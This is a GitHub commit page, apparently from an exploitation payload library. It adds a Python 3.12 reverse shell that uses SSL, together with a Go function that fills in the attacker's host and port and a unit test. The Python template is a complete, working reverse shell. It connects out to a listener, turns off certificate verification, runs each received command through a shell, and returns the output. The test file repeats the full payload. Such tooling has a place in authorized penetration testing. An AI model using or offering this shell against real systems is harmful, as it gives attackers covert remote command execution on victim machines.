Skip to content

Commit bb1f213

Browse files
authored
Merge pull request #311 from vulncheck-oss/payload/python3.12-ssl-fix
Add Python 3.12 SSL changes reverse shell
2 parents f4c75ab + c475fb7 commit bb1f213

File tree

3 files changed

+52
-0
lines changed

3 files changed

+52
-0
lines changed

payload/reverse/python.go

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@ var (
1212
Python27 string
1313
//go:embed python/reverse27_secure.py
1414
Python27Secure string
15+
//go:embed python/reverse3_12_secure.py
16+
Python3_12_Secure string
1517
)
1618

1719
func (py *PythonPayload) Default(lhost string, lport int) string {
@@ -27,3 +29,10 @@ func (py *PythonPayload) Python27(lhost string, lport int) string {
2729
func (py *PythonPayload) SecurePython27(lhost string, lport int) string {
2830
return fmt.Sprintf(Python27Secure, lhost, lport)
2931
}
32+
33+
// An unflattened reverse shell that uses an SSL socket for Python 3.12 context, Windows and Linux.
34+
// This payload is required when doing 3.12 SSL reverse shells as Python moved to requiring SSL
35+
// context over simple socket wraps.
36+
func (py *PythonPayload) SecurePython312(lhost string, lport int) string {
37+
return fmt.Sprintf(Python3_12_Secure, lhost, lport)
38+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import socket
2+
import subprocess
3+
import ssl
4+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5+
s.connect(('%s', %d))
6+
ssls = ssl.create_default_context()
7+
ssls.check_hostname=False
8+
ssls.verify_mode=ssl.CERT_NONE
9+
sslsock = ssls.wrap_socket(s)
10+
while 1:
11+
data = sslsock.recv(1024).decode('UTF-8')
12+
if data == 'exit\n':
13+
break
14+
if len(data) > 0:
15+
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
16+
sslsock.send(proc.stdout.read() + proc.stderr.read())
17+
sslsock.close()

payload/reverse/reverse_test.go

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -167,3 +167,29 @@ func TestGroovyClassic(t *testing.T) {
167167
t.Fatal(payload)
168168
}
169169
}
170+
171+
func TestPython312(t *testing.T) {
172+
payload := reverse.Python.SecurePython312("127.0.0.2", 9000)
173+
expected := `import socket
174+
import subprocess
175+
import ssl
176+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
177+
s.connect(('127.0.0.2', 9000))
178+
ssls = ssl.create_default_context()
179+
ssls.check_hostname=False
180+
ssls.verify_mode=ssl.CERT_NONE
181+
sslsock = ssls.wrap_socket(s)
182+
while 1:
183+
data = sslsock.recv(1024).decode('UTF-8')
184+
if data == 'exit\n':
185+
break
186+
if len(data) > 0:
187+
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
188+
sslsock.send(proc.stdout.read() + proc.stderr.read())
189+
sslsock.close()
190+
`
191+
192+
if payload != expected {
193+
t.Fatal(payload)
194+
}
195+
}

0 commit comments

Comments
 (0)